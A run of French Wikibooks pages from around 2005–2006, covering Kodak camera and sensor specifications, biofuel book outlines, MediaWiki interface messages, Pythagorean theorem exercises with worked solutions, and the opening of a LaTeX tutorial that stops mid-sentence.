Pocket Instamatic 500 (vers 1973) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 500 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 500]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>électronique • <font color=grey>Format de film : </font>110 • <font color=grey>Objectif : </font>25 mm f/5,6 • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre projeté avec correction de parallaxe entre 1,2 et 1,8 m • <font color=grey>Informations dans le viseur : </font>signaux de lampe usée, de contrôle de pile et de vitesse lente, signal d'excès de lumière • <font color=grey>Mise au point : </font>fixe à 2,4 m (netteté de 1,2 m à l'infini • <font color=grey>Obturateur : </font>électronique faisant varier la vitesse de 1/300e s à 20 s. La mise en place d'un Magicube fait basculer la vitesse sur 1/40e s • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film, couplage diapragme / distance de mise au point • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font>réglage manuel par symboles des ouvertures de diaphragme entre 5,6 et 16 avec couplage aux vitesses d'obturation • <font color=grey>Sensibilité film : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Compteur de vues : </font>oui • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font>pile 6 V Varta 7250, UCAR 537 ou MALLORY 7434 • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font>130,5 x 51 x 28,5 mm • <font color=grey>Poids : </font>130 g • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Kodak Pocket Instamatic 50 (vers 1973) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 50 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 50]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>électronique • <font color=grey>Format de film : </font>110 • <font color=grey>Objectif : </font>Kodak Ektar 26 mm f/2,7 à 4 lentilles avec verre protecteur • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre projeté avec correction de parallaxe entre 1,2 et 1,8 m • <font color=grey>Informations dans le viseur : </font>signaux de lampe usée, de contrôle de pile et de vitesse lente, signal d'excès de lumière • <font color=grey>Mise au point : </font>manuelle de 1 m à l'infini • <font color=grey>Obturateur : </font>à programme réglant automatiquement la vitesse de 1/259e s à 5 s et le diaphragme de 2,7 à 17 • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film, couplage diapragme / distance de mise au point • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Compteur de vues : </font>oui • <font color=grey>Contrôle de piles : </font>oui • <font color=grey>Alimentation : </font>pile 4 V type K au mercure Mallory 7R31 • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font>147 x 58 x 25,4 mm • <font color=grey>Poids : </font>255 g avec la pile • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} === Kodak Pocket Instamatic 60 (vers 1973) === {| border="1" cellspacing="0" cellpadding="10" |- |[[Image:Kodak Instamatic 60 (vers 1973).jpg|240px|center|Kodak Pocket Instamatic 60]] |'''Caractéristiques :''' <font color=grey>Type d'appareil : </font>électronique • <font color=grey>Format de film : </font>110 • <font color=grey>Objectifs : </font>fixe Kodak Ektar 26 mm f/2,7 à 4 lentilles avec verre protecteur • <font color=grey>Diaphragme : </font> • <font color=grey>Viseur : </font>à cadre projeté avec signaux de lampe usée, de contrôle de pile et de vitesse lente, correction de parallaxe entre 1,2 et 1,8 m • <font color=grey>Informations dans le viseur : </font>signal d'excès de lumière • <font color=grey>Mise au point : </font>télémétrique à images superposées • <font color=grey>Obturateur : </font>à programme réglant automatiquement la vitesse de 1/259e s à 5 s et le diaphragme de 2,7 à 17 • <font color=grey>Prise de flash : </font>prise pour Magicube, rotation couplée à l'avancement du film, couplage diapragme / distance de mise au point • <font color=grey>Flash intégré : </font> • <font color=grey>Déclencheur : </font>mécanique, bloqué par le volet de protection de l'objectif • <font color=grey>Contrôle de l'exposition : </font> • <font color=grey>Sensibilité film : </font> • <font color=grey>Retardateur : </font> • <font color=grey>Avance du film : </font>levier coulissant couplé à l'armement du déclencheur • <font color=grey>Compteur de vues : </font>oui • <font color=grey>Contrôle de piles : </font> • <font color=grey>Alimentation : </font>pile 4 V type K au mercure Mallory 7R31 • <font color=grey>Interrupteur principal : </font> • <font color=grey>Dimensions : </font>147 x 58 x 25,4 mm • <font color=grey>Poids : </font>255 g avec la pile • <font color=grey>Accessoires : </font> • <font color=grey>Remarques : </font> |- |} == Appareils compacts numériques == {{Appareil compact numérique |modèle=Kodak EasyShare V550 ||année=2005 ||image= |type= ||capteur=5,36 Mpixels ||définition=maxi 2576 × 1932 pixels |formats=JPEG ||mémoire=32 Mo ||cartes=SD/MMC |objectif=zoom x3 ||équivalent=36–108 mm f/2.8–4.8 ||zoom numérique= |diaphragme= ||viseur=optique ||écran=2,5" (6.4 cm) 230kpixel |modes=divers modes scènes ||mise au point= ||obturateur= |retardateur= ||exposition=automatique ||correction= |sensibilité=auto et 80, 100, 200, 400, 800 ISO ||mémorisation= ||balance= |prise flash= ||flash intégré= ||connexions=USB 2, KODAK Camera Dock/Printer Dock interface |DPOF= ||alimentation=batterie Li-Ion rechargeable ||dimensions= |poids= ||accessoires= ||prix= ||remarques= }} == Capteurs pour appareils numériques == '''Fin octobre 2005''', Kodak a annoncé la sortie de deux [[w:Capteur CCD|capteurs CCD]] destinés à la photographie professionnelle en moyen format, avec une résolution record. Les capteurs d'images Kodak KAF-31600 et KAF-39000 affiche en effet, respectivement 31,6 et 39 millions de pixels. Ces capteurs permettent aux appareils et aux dos professionnels d'atteindre une finesse de restitution des détails inimaginable quelques mois auparavant, avec évidemment des applications dans les domaines du portrait, de la mode, du mariage, du paysage, de la photographie industrielle ... Ces capteurs sont déjà utilisés par la société [[Photographie - 4O - Phase One|Phase One]] pour ses dos numériques P 45 et P30. Les dimensions du KAF-39000 sont de 36 x 48 mm et celles du KAF-31600, plus petit mais offrant le même niveau de performances, de 33 x 44 mm. Parallèlement, en pionnière des sciences de l'image, la société Kodak développe et fournit simultanément des capteurs CCD et des [[w:Capteur CMOS|capteurs CMOS]] dans le cadre de sa collaboration avec les sociétés IBM (capteurs KAC-5000 et KAC-3100) et Taiwan Semiconductor Manufacturing Company Ltd. D'autres capteurs CCD plus petits, les KAF-16802, KAF-22000 et KAF-18000, offrent des résolutions atteignant respectivement 16,8, 22 et 18 millions de pixels. Cette gamme est largement utilisée dans les appareils de moyen format Phase One et [[Photographie - 40 - Hasselblad|Hasselblad]]. MediaWiki:Logempty 6221 sysop 46847 2006-07-01T18:48:49Z MediaWiki default Aucun élement pertinent dans le journal. MediaWiki:Newmessagesdifflink 6222 sysop 27880 2005-12-29T15:04:24Z Greudin 1 diff diff MediaWiki:Nocreatetext 6223 sysop 46893 2006-07-01T18:48:50Z MediaWiki default Ce site a restreint la possibilité de créer de nouvelles pages. Vous pouvez retourner en arrière et éditer une page existante ou [[Special:Userlogin|vous connecter ou créer un compte]]. MediaWiki:Nocreatetitle 6224 sysop 46894 2006-07-01T18:48:50Z MediaWiki default Création de page limitée MediaWiki:Protect-default 6225 sysop 46931 2006-07-01T18:48:50Z MediaWiki default (défaut) MediaWiki:Protect-level-autoconfirmed 6226 sysop 46932 2006-07-01T18:48:50Z MediaWiki default Bloquer les utilisateurs non enregistrés MediaWiki:Protect-level-sysop 6227 sysop 46933 2006-07-01T18:48:50Z MediaWiki default Uniquement les administrateurs MediaWiki:Protect-text 6228 sysop 46934 2006-07-01T18:48:50Z MediaWiki default Vous pouvez consulter et modifier le niveau de protection de la page <strong>$1</strong>. Veuillez vous assurez que vous suivez les [[Project:Protected page|règles internes]]. MediaWiki:Protect-unchain 6229 sysop 46935 2006-07-01T18:48:50Z MediaWiki default Débloquer les permissions de déplacement MediaWiki:Protect-viewtext 6230 sysop 46936 2006-07-01T18:48:50Z MediaWiki default Votre compte ne possède pas les permissions nécessaires pour changer les niveaux de protection de page. La configuration actuelle pour la page <strong>$1</strong> est la suivante : MediaWiki:Youhavenewmessages 6231 sysop 47121 2006-07-01T18:48:51Z MediaWiki default Vous avez $1 ($2). Image:Longeqns5.png 6233 27324 2005-12-22T16:46:22Z Trotinette 954 exemple d'équation longue 5 exemple d'équation longue 5 Image:Longeqns3.png 6234 27325 2005-12-22T16:52:27Z Trotinette 954 exemple longue équation 3 exemple longue équation 3 Image:Longeqns2.png 6235 27326 2005-12-22T16:52:57Z Trotinette 954 exemple longue équation 2 exemple longue équation 2 Carburant 6237 27610 2005-12-25T15:58:41Z Greudin 1 /* Biocarburants */ Ce livre traite des carburants {{Modèle:Carburant}} ==Introduction== ==Carburants fossiles== ''Encore rien pour l'instant'' ==Biocarburants== *Introduction : introduction et historique *[[biocarburant : huile brute|les huiles brutes]] : les huiles végétales et animales qui n'ont pas subies de transformations chimiques *[[biocarburant:bioéthanol|le bioéthanol]] *[[biocarburant : biodiesel|le biodiesel]] **[[biocarburant : biodiesel|Introduction]] **[[biocarburant : fabrication du biodiesel|fabrication du biodiesel]] : principes de fabrications, le choix de l'huile, fabrication artisanale, fabrication industrielle **caractéristiques physiques et chimiques **influence sur le moteur **influence sur l'environnement : impact sur le climat, la biodiversité, la qualité de l'air *[[biocarburant : situation pays par pays|situation pays par pays]] pour les biocarburants : position du gouvernement, dispositions légales, incitations fiscales, production et consommation pour chaque pays. *Annexes : **[[biocarburant : lexique]] : le jargon utilisée **[[biocarburant : molécules]] : les molécules rencontrées rencontrées **[[biocarburant : lexique]] : le jargon utilisé **[[biocarburants : plantes]] : les plantes utilisées **[[biocarburant : organismes publiques|organismes publiques]] **[[biocarburant : associations]] ==Sources== *[[Carburant : sources]] ==Auteurs== *[[carburant : auteurs|Auteurs]] {{EnTravaux}} Carburant : auteurs 6238 27552 2005-12-24T19:49:03Z Youssefsan 188 {{modèle:carburant}} {{modèle:carburant}} Voici une liste non exhaustive des auteurs *Youssef Oualmakran, alias [[Utilisateur:Youssefsan]] Carburant : sources 6239 37647 2006-03-15T00:28:15Z 201.35.2.216 /* Brésil */ {{modèle:carburant}} ==Biocarburants (généralités)== ===En français=== *http://fr.wikipedia.org/wiki/Biocarburant (sous GFDL) ===En anglais=== ====Généralités==== *http://en.wikipedia.org/wiki/Biodiesel (sous GFDL) ====Brésil==== *http://www.biodieselbr.com/ *http://www.greencarcongress.com/2005/05/brazil_opens_an.html, ''Brazil Opens Another Biodiesel Plant; Wants to Be Largest Renewable Fuel Supplier'', 1 mai 2005 *http://www.greencarcongress.com/2005/03/brazil_opens_fi.html,''Brazil Opens First Major Biodiesel Refiner'', 26 mars 2005 ===En espagnol=== *http://www.panoramaenergetico.com/proyecto_biodiesel.htm projet de l'Université de Vasconselos, 13 novembre 2004. ===En allemand=== *http://www.ufop.de/ Association pour la promotion des huiles et protéines végétales (Allemagne) *http://www.destatis.de/basis/d/forst/forsttab7.php Bureau de statistiques d'Allemagne Biocarburant : situation pays par pays 6240 38028 2006-03-17T02:11:22Z 201.35.4.129 /* Brésil */ {{modèle:carburant}} Nous allons maintenant voir à quelle stade se trouve le développement des biocarburants dans les différents pays du monde. Nous les avons classés par continent. ==Amérique== ===Brésil=== Le pétrodiesel devra incorporer minimum 2% de biodiesel en 2008 (B2) et minimum 5% en 2013. Selon, www.biodieselbr.com le pays comptait, en 2005, 3 usines pour une production annuelle de 45,6 millions de litres de biodiesel. La production devrait augmenter en 2006 de 123 millions de litres grâce à 7 nouveaux producteurs. ===États-Unis=== ===Mexique=== En raison de l'abondante production pétrolière du pays, le Mexique a lancé moins d'initiatives en matière de biocarburants. En octobr 2004, l'université de Vasconselos a réalisé de tests de production de biodiesel. ==Europe== Il existe aussi des initiatives au niveau de l'union européene. L'Allemagne est un grand producteur européen. ===Allemagne=== En 2004, 330 000 tonnes de biodiesel ont été produites. ===Autriche=== ===Belgique=== ===Espagne=== ===France=== ===Italie=== ===Pays-Bas=== ===Royaume Uni=== ==Océanie== ===Australie=== En 2005, l'Australie avait une capacité d'environ 100 millions de litre de biodiesel. Plusieurs usines sont en construction ou viennent d'être construites. De nombreuses communes et conseils régionaux utilisent déjà du B20. La plupart des transports publics d'Aldehaide utilisent du B5 depuis mars 2005 {{EnTravaux}} Programmation Python interface Tkinter 6241 27345 2005-12-22T18:45:13Z 83.157.163.176 *[[Programmation Python Introduction|Introduction]] **[[Programmation Python interface Tkinter|interface Tkinter]] Wikijunior 6243 33597 2006-02-20T00:42:11Z Boly38 136 ss section Wikilivres:Projets {| width="100%" |- | width="60%" style="vertical-align:top" | <div style="margin: 0; margin-right:10px; border: 0px solid #dfdfdf; padding: 0 1em 1em 1em; background-color:#FFFFFF; align:right;"> {{Sous section|nom=Wikijunior/Présentation|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Wikijunior/Bibliothèque|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} | style="vertical-align:top" | {{Sous section|nom=Wikijunior/Nouveautés|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Wikijunior/Lumière Sur|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Wikijunior/Informations|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} {{Sous section|nom=Wikijunior/À propos|couleur=#F0E0F0|couleurbord=#AAAAAA|couleurfond=#FFFFFF}} |- | colspan="2" | {{Sous section|nom=Wikilivres:Projets|couleur=#d2cee8|couleurbord=#ababab|couleurfond=#FFFFFF}} |} <!---------------------------------------------------------------------------------> <!-- ################## Liens message + rafraîchir + projets wikilivres ################################# --> {| align="center" border="0" cellpadding="4" cellspacing="4" style="border: 2px solid #8ecfe4;background-color:#EEEEEE" valign="middle" |- | * [[Image:Fairytale filenew.png|24px|]] '''Pour laisser un [http://fr.wikibooks.org/w/wiki.phtml?title=Discuter:Wikijunior:Wikijunior&action=edit&section=new message, cliquez ici.]''' * [[Image:Fairytale upload.png|24px|]] '''[[Wikilivres:Accueil|Tous les projets de Wikilivres]]''' * [[Image:Fairytale key enter-2.png|24px|]] [http://fr.wikibooks.org/w/index.php?title=Wikijunior&action=purge '''Rafraîchir la page'''] |} __NOTOC__ __NOEDITSECTION__ [[en:Wikijunior]] [[de:Wikijunior]] [[es:Wikichicos]] [[it:Ripiano Wikijunior]] [[zh:Wikijunior]] [[Catégorie:Wikijunior|*]] Photographie - 40 - Prestinox 6245 27367 2005-12-22T19:49:17Z Jean-Jacques MILAN 114 {{Photographie}} == Projecteurs de diapositives == === 2 modèles du début des années 1960 === [[Image:Projecteur de diapositives Prestinox début des années 1960.jpg|thumb|180px|Projecteur Prestinox début années 1960]] Deux projecteurs d'apparence identique, l'un automatique, l'autre semi-automatique. * La télécommande permet le passage des vues et la mise au point. * Utilise le panier Classinox 36 vues. * Prise pour lumière de salle avec allumage et extinction automatiques * Lampe 300 W 110/220 V * Encombrement 31 x 20,5 x 20,5 cm * Poids 4,5 kg. Image:Espaceh1.png 6248 27390 2005-12-22T21:22:34Z Trotinette 954 exemple d'espacement 1 exemple d'espacement 1 Image:Espaceh2.png 6249 27391 2005-12-22T21:25:45Z Trotinette 954 exemple espace 2 exemple espace 2 Image:Espaceh4.png 6250 27392 2005-12-22T21:38:55Z Trotinette 954 exemple espace 4 exemple espace 4 Image:Espaceh5.png 6251 27393 2005-12-22T21:39:58Z Trotinette 954 exemple espace 5 exemple espace 5 Image:Espaceh6.png 6252 27394 2005-12-22T21:40:26Z Trotinette 954 exemple espace 6 exemple espace 6 Image:Espaceh7.png 6253 27395 2005-12-22T21:43:39Z Trotinette 954 exemple espace 7 exemple espace 7 Image:Espaceh8.png 6254 27396 2005-12-22T21:43:57Z Trotinette 954 exemple espace 8 exemple espace 8 Image:Matrice1.png 6255 27401 2005-12-22T21:52:55Z Trotinette 954 Matrice Matrice Exercices de mathématiques 6257 46568 2006-06-29T21:19:53Z Guillaumito 46 restitution de la dernière modification de HB <div style="display:block; padding:0.3em; background-color:#cfdfff; border:1px solid #aaa; -moz-border-radius-topright:0.4em; -moz-border-radius-topleft:0.4em; text-align:right; font-size:75%;"><br/> <center style="font-size:250%">Exercices de mathématiques</center><br/></div> <center> Un exercice est un travail personnel à réaliser pour améliorer sa compréhension, sa perception d'un sujet donné.</center> == Primaire == === CP (fr) ou premier cycle 1 (Québec) === === CE1 (fr) ou premier cycle 2 (Québec)=== === CE2 (fr) ou second cycle 1 (Québec)=== === CM1 (fr) ou second cycle 2 (Québec)=== === CM2 (fr) ou troisième cycle 1 (Québec)=== * [[Certificat d'études (E-M)|Certificat d'études]] == Collège == === 6ième (fr) ou troisième cycle 2(Québec)=== === 5ième (fr) ou secondaire 1 (Québec)=== === 4ième (fr) ou secondaire 2 (Québec) === === 3ième (fr) ou secondaire 3 (Québec) === *[[Théorème de Pythagore (E-M)|Théorème de Pythagore]] *[[Théorème de Thalès (E-M)|Théorème de Thalès]] == Lycée == === Seconde (fr) ou secondaire 4 (Québec) === === Première (fr) ou secondaire 5 (Québec) === * [[Calculs de dérivées (E-M)|Calculs de dérivées]] === Terminale (fr) ou Cégep (Québec)=== * [[Calculs de dérivées (E-M)|Calculs de dérivées]] == Études supérieures == === Licence === * [[Calculs de dérivées (E-M)|Calculs de dérivées]] === Prépa === ==== [[MPSI/PCSI (E-M) | MPSI]] ==== *MP ** [[produit scalaire (E-M)|Produit scalaire]] **[[Forme bilinéaire (E-M)|Forme bilinéaire]] ** [[Intégrale impropre (E-M)|Intégrale impropre]] ==== [[MPSI/PCSI (E-M) | PCSI]] ==== * PSI * PC ==== BCPST ==== * Première année * Deuxième année ==== ECS ==== * Première année * Deuxième année ==== ECE ==== * Première année * Deuxième année ==== ECT ==== * Première année * Deuxième année === Master === [[category:mathématiques]] Théorème de Pythagore (E-M) 6258 32143 2006-02-09T09:58:35Z HB 15 /* Triangle rectangle ou non? */ + catégorie {{ExoMath}} Le [[w:Théorème de Pythagore|théorème de Pythagore]] permet de calculer des distances dans un triangle rectangle ou de vérifier si un triangle est rectangle connaissant ses côtés. == Calculs de distances == === Applications directes === Dans ces exercices, le triangle rectangle est donné *''' Exercice 1''' :Le triangle ''ABC'' est rectangle en ''A''. Sachant que ''AB = 3'' et que ''AC = 4'', calculer ''BC''. {{boîte déroulante|titre = Solution|contenu = :Le triangle ''ABC'' est rectangle en ''A'' donc <math>AB^2 + AC^2 = BC^2</math>. :Comme ''AB = 3'' et ''AC = 4'', on aura <math>BC^2 = 9 + 16 = 25</math> donc '''''BC = 5'''''. }} *''' Exercice 2''' :Le triangle ''MNP'' est rectangle en ''P''. Sachant que ''MN = 13'' et que ''NP = 5'', calculer ''MP''. {{boîte déroulante|titre = Solution|contenu = :Le triangle ''MNP'' est rectangle en ''P'' donc <math>MP^2+ NP^2 = MN^2</math>. :Comme ''MN = 13'' et ''NP = 5'', on aura <math>169 =MP^2 + 25</math>, donc <math>MP^2 = 144</math> , puis '''''MP = 12'''''.}} === Formules à connaitre === Dans les exercices suivants, il s'agit de trouver quel est le triangle rectangle qu'il faut utiliser. *'''Exercice 1''' : Montrer que dans un carré de côté ''a'', la diagonale est <math>a \sqrt{2}</math> {{boîte déroulante|titre = Solution|contenu = : Si on nomme le carré ABCD, on obtient un triangle ABC rectangle en B. La diagonale du carré correspond à ''AC''. :Le théorème de Pythagore permet d'écrire que <math>AC^2 = AB^2 + BC^2 = a^2 + a^2 = 2a^2</math>. :Donc <math>AC = \sqrt{2a^2} = a\sqrt2</math> }} *'''Exercice 2''' : Montrer que dans un cube de côté ''a'', la diagonale est <math>a \sqrt{3}</math> {{boîte déroulante|titre = Solution|contenu = :Si on nomme le cube ''ABCDEFGH'', on peut remarquer que le triangle ACG est rectangle en ''C''. La longueur ''AG'' correspond à la diagonale du cube. : Le théorème de Pythagore permet d'écrire que <math>AG^2= AC^2 + CG^2</math>. : ''AC'' est la diagonale du carré ''ABCD'' donc <math>AC^2 = 2a^2</math>. : ''CG'' est une arête du cube don <math>CG^2 = a^2</math>. : Donc <math>AG^2 = 2a^2 + a^2 = 3a^2</math> et <math>AG = \sqrt{3a^2} = a \sqrt 3</math>. }} *'''Exercice 3''' : Montrer que dans un triangle équilatéral de côté ''a'', la hauteur est <math>a \frac{\sqrt{3}}{2}</math> {{boîte déroulante|titre = Solution|contenu = : On nomme le triangle équilatéral ''ABC'' et on appelle ''I'' le milieu de ''[AB]''. Le segment ''[CI]'' est alors médiane, médiatrice et hauteur du triangle. Le triangle ''CIA'' est alors rectangle en I. : Le théorème de Pythagore permet d'écrire que <math>CA^2 = CI^2 + IA^2</math>. : On remplace alors ''CA'' par ''a'' et ''IA'' par ''a/2'' : <math>a^2 = CI^2 + {a^2 \over 4}</math> donc <math>{3a^2 \over 4} = CI^2</math>. : Donc <math>CI = \sqrt{\frac{3a^2}{4}} = \frac{a\sqrt{3}}{2}</math> }} === Utilisation dans l'espace === *'''Exercice 1''' : (S) est une sphère de centre O et de rayon 8 cm. On coupe cette sphère par un plan dont la distance à ''O'' est de 5 cm. Quel est le rayon du cercle obtenu? {{boîte déroulante|titre = Solution|contenu = : On appelle ''H'' le projeté orthogonal du point ''O'' sur le plan de coupe. Si ''M'' est un point commun de la sphère et du plan, on a ** ''OM = 8'' car ''M'' est sur la sphère. **''OHM'' est un triangle rectangle en ''H'' car ''M'' est dans le plan. : Le théorème de Pythagore permet d'écrire que <math>OM^2 = OH^2 + HM^2</math>. : On sait que ''OH'' = 5 et ''OM = 8'' donc <math>64 = 25 + HM^2</math> donc <math>HM^2 = 39</math> : Le point ''M'' est donc sur un cercle de centre ''H'' et de rayon <math>\sqrt 39</math> }} * ''' Exercice 2''' : (SABCD) est une pyramide dont la base est un carré ABCD de côté 6 cm et de centre O. Le sommet S de la pyramide se projette orthogonalement en O. La hauteur de la pyramide est de 4 cm. ## Quelle est la longueur SA ? ## Quelle est la valeur de l'apothème (segment joignant le sommet de la pyramide et le milieu d'un côté) ? {{boîte déroulante|titre = Solution|contenu = :1. Le triangle ''SOA est rectangle en O. :: Le théorème de Pythagore permet d'écrire <math>SO^2 + OA^2= SA^2</math> :: ''OA'' est la demi-diagonale du carré de côté 6 donc <math>OA = 3\sqrt2</math> et <math>OA^2 = 18</math>. D'autre part ''SO = 4'' :: On remplace alors <math>SA^2 = 16 + 18 = 34</math> donc <math>SA = \sqrt{34}</math> :2. Si ''I'' est le milieu de [''AB''], [''SI''] est médiane, médiatrice et hauteur du triangle isocèle ''SAB'' donc le triangle ''SIA'' est rectangle en ''I''. :: Le théorème de Pythagore permet d'écrire que <math>SA^2 = SI^2 + IA^2</math>. :: <math>SA^2 = 34</math> et ''IA = 3'' donc <math>34 = SI^2 + 9</math> donc <math>SI^2 = 25</math> donc ''SI = 5'' }} * '''Exercice 3''' : Le dévelopement d'un cône est une portion de cercle de rayon 8 cm et d'angle au centre 180°. Quelle est la hauteur du cône? {{boîte déroulante|titre = Solution|contenu = : Le cône reconstitué aura pour hauteur ''h'', sa base sera un cercle de centre ''O'' et de rayon ''r''. Si ''M'' est un point du cercle de base et ''S'' est le sommet du cône, par construction du développement, on aura ''SM = 8''. Le triangle ''SOM'' est rectangle en ''O''. Le théorème de Pythagore permet d'écrire : : <math>SO^2 + OM^2 = SM^2</math>. Soit en remplaçant <math>h^2 + r^2 = 64</math> : Pour déterminer ''h'', il faut donc connaître ''r''. : La portion de cercle qui constitue le développement de cône correspond à un demi-cercle (180° est la moitié de 360°). La longueur de l'arc est donc égale au demi-périmètre soit <math>\frac{1}{2} 2\times \pi \times 8</math>, soit <math>8\pi</math>. : Dans le cône reconstitué, cette longueur correspond au périmètre du cercle de base, soit <math>2\pi r</math>. Par comparaison, on obtient ''r = 4''. : Il suffit maintenant de compléter l'égalité de Pythagore précédente : <math>h^2 + 16 = 64</math> soit <math>h^2 = 48 = 4^2\times 3</math> donc <math>h = 4\sqrt 3</math> }} === Recherche=== * '''Exercice 1''' : Il s'agit de retrouver le [[w:théorème d'Al-Kashi|théorème d'Al Kashi]] dans le cas où le triangle ABC possède en A un angle aigu. (connaissance requise : cosinus dans le triangle rectangle). : On considère un triangle ''ABC''. L'angle de sommet ''A'' est aigu. On note ''a = BC'', ''b = CA'' et ''c = AB''. Soit ''H'' le pied de la hauteur issue de ''B''. On note ''h = BH'' et ''d = AH'' ## Exprimer ''HC'' en fonction de ''d'' et ''b'' ## Exprimer <math>a^2</math> en fonction de ''d'',''b'' et ''h'' ## Exprimer <math>h^2</math> en fonction de ''d'' et ''c'' et en déduire <math>a^2</math> en fonction de ''d'', ''b'' et ''c'' ## Exprimer ''d'' en fonction de ''c'' et cos(''A'') et retrouver la formule : <math>a^2 = b^2 + c^2 - 2bc\cos(A)</math> {{boîte déroulante|titre = Solution|contenu = :1. L'angle ''A'' étant aigu, le point ''H'' est sur le segment [''AC''], donc ''HC'' = ''b - d''. :2. Le triangle ''BHC'' est rectangle en ''H'' donc <math>BC^2 = BH^2 + HC^2</math>. ::En remplaçant par les notations de l'énoncé, on a <math>a^2 = h^2 + (b - d)^2 = h^2 + (b^2 - 2bd + d^2)</math>. :3. Le triangle ''BHA'' est rectangle en ''H'' donc <math>BA^2 = BH^2 + HA^2</math>. ::En remplaçant par les notations de l'énoncé <math>c^2 = h^2 + d^2</math> donc <math>h^2 = c^2 - d^2</math>. ::On peut alors remplacer dans l'égalité précédente: <math>a^2 = (c^2 - d^2) + (b^2 - 2bd + d^2)</math>, puis simplifier, ::<math>a^2 = b^2 + c^2 - 2bd</math> :4. Le triangle ''BHA'' est rectangle en ''H''. ''BA (= c)'' est l'hypoténuse et ''AH (= d)'' est le côté adjacent donc <math>\cos(A) = \frac{d}{c}</math> donc <math>d = c\cos(A)</math>. On remplace alors dans l'égalité précédente: <math>a^2 = b^2 + c^2 - 2bc\cos(A)</math> }} == Triangle rectangle ou non? == *'''Exercice 1''' :Soit BCD un triangle tel que <math>BC = 7</math>, <math>CD = 3\sqrt 3</math> et <math>BD = 3 \sqrt 2</math>. Le triangle est-il rectangle ? Si oui, où se trouve l'angle droit ? {{boîte déroulante|titre=Solution|contenu= :Le carré d'un des côtés est-il égal à la somme des carrés des deux autres côtés ? : <math>BC^2 = 49\,</math>, <math>CD^2 = 9 \times 3 = 27</math> et <math>BD^2 = 9 \times 2 = 18</math>. : Seul le plus grand des carrés peut être égal à la somme des deux autres. Le plus grand des carrés est 49 mais <math>27 + 18 \neq 49</math>. Le triangle n'est donc pas rectangle. }} *'''Exercice 2''' :Soit RAS un triangle tel que <math>RA = 6</math>, <math>AS = 10</math> et <math>RS = 8</math>. Le triangle est-il rectangle ? Si oui, où se trouve l'angle droit ? {{boîte déroulante|titre=Solution|contenu= :Le carré d'un des côtés est-il égal à la somme des carrés des deux autres côtés ? : <math>RA^2 = 36</math>, <math>AS^2 = 100</math> et <math>RS^2 = 64</math>. : Seul le plus grand des carrés peut être égal à la somme des deux autres. Le plus grand des carrés est 100 et <math>36 + 64 = 100</math>. On a bien <math>AS^2 = RA^2 + RS^2</math>, le triangle est donc rectangle en R. }} *'''Exercice 3''' (recherche) :Si ABC est un triangle rectangle en A, peut-on, en ajoutant une unité à chacune des dimensions, conserver un triangle rectangle ? {{boîte déroulante|titre=Solution|contenu= :On note ''a = BC'', ''b = CA'', ''c = AB''. Le triangle est rectangle en ''A'' donc le théorème de pythagore permet d'écrire <math>a^2 = b^2 + c^2</math> : Si on ajoute une unité à chacun des côtés, on obtiendra un triangle dont les dimensions sont ''a + 1'', ''b + 1'' et ''c + 1''. La plus grande des dimensions reste ''a + 1'' : Si le nouveau triangle est encore rectangle, on doit avoir ::<math>(a+1)^2 = (b + 1)^2 + (c + 1)^2</math> : Ce qui donne après développement :: <math>a^2 + 2a + 1 = b^2 + 2b + 1 + c^2 + 2c + 1</math> : Or on sait que <math>a^2=b^2+c^2</math>, donc, en simplifiant on obtient : :: ''2a = 2b + 2c + 1'' :Soit encore :: ''a = b + c + 1/2'' : Mais l'[[w:inégalité triangulaire|inégalité triangulaire]] affirme que <math>a \leq b + c</math> donc il n'est pas possible que ''a = b + c + 1/2''. Il est donc IMPOSSIBLE de conserver un triangle rectangle en augmentant toutes les dimensions d'une unité. }} [[catégorie:Exercices de mathématiques]] Programmation LaTeX Structure du document 6261 43576 2006-05-31T11:29:00Z 81.56.7.192 /* Préambule */ {{LaTeX-nav}} Ce cours d'instruction approfondit de manière significative le très simpliste [[Programmation_LaTeX_Novices|didacticiel précédent]]. Le but est de produire un modèle d'article dont le style ressemblerait à celui d'une publication de chercheur. Pour réaliser cela efficacement, ce didacticiel se concentre en grande partie sur la ''structure de document''. Latex vous oblige pratiquement à définir la structure de votre document à l'intérieur de celui-ci. C'est tout de même une bonne chose. Parce qu'une fois que Latex comprend comment vous voulez organiser votre document, il prendra en charge à votre place toutes les tâches pénibles de disposition et de présentation. La séparation du contenu et de la présentation vous permet de vous concentrer sur votre travail, qui est de communiquer les résultats de vos recherches. Avant que je commence à expliquer comment employer les diverses commandes Latex, je crois qu'il serait préférable de commencer par voir à quoi ressemble le résultat final, afin que nous sachions dès le début quels seront les effets de nos actions. Jetez un coup d'œil au [tutorial2/simple.pdf fichier pdf] produit à partir de l'exemple de ce didacticiel. En outre, la source en Latex est très longue, j'emploierai donc seulement 